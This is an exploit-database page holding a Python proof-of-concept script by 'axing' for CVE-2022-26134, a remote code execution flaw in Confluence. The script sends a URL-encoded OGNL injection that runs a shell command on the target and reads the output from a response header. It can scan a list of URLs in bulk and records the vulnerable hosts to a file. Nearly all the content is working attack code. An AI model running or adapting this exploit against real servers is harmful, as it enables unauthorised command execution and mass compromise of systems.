Exploit databaseDownload repository ZIP
GH-d412a76b9a1b59b34f241f203d188cdd
axingde/cve-2022-26134
Sources for CVE-2022-26134
66 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
axingde/cve-2022-26134Revision f1fec13d4afc
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cve-2022-26134.py
Python · 2,689 bytes#coding:utf-8
from email import header
import requests
import sys
import urllib3
urllib3.disable_warnings()
def start():
a=''''
_____________ _______________ _______________ ________ ________ ________ ____________________ _____
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \\_____ \ \_____ \/ _____/_ \_____ \ / | |
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ / ____/ ______ / ____/ __ \ | | _(__ < / | |_
\ \____\ / | \ /_____/ / \ \_/ \/ \/ \ /_____/ / \ |__\ \| |/ \/ ^ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_______ \ \_______ \_____ /|___/______ /\____ |
\/ \/ \/ \/ \/ \/ \/ \/ \/ |__|
by axing
使用语法
单个验证 python cve-2022-26134.py url
批量验证 python cve-2022-26134.py url.txt
'''
print (a)
def poc(host):
command = 'id'
url=host +"/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/".format(command)
response = requests.get(url=url, verify=False, allow_redirects=False)
if(response.status_code == 302):
hea=response.headers['X-Cmd-Response']
if 'uid' in hea:
print(hea)
print('【+】{} 存在漏洞'.format(host))
with open('re.txt','a+') as w:
w.write(host+"\n")
else:
print('【-】{}不存在漏洞'.format(host))
return False
def pocs():
with open('url.txt','r') as f:
for line in f.readlines():
url=line.strip()
print (url)
try:
poc(url)
except requests.ConnectTimeout:
print(f'[-]{url} 检测超时')
continue
except requests.ConnectionError:
print(f'[-]{url} 检测错误')
continue
if __name__=='__main__':
start()
if 'url.txt' in sys.argv[1]:
pocs()
elif 'http' in sys.argv[1]:
poc(sys.argv[1])
else:
print('语法错误')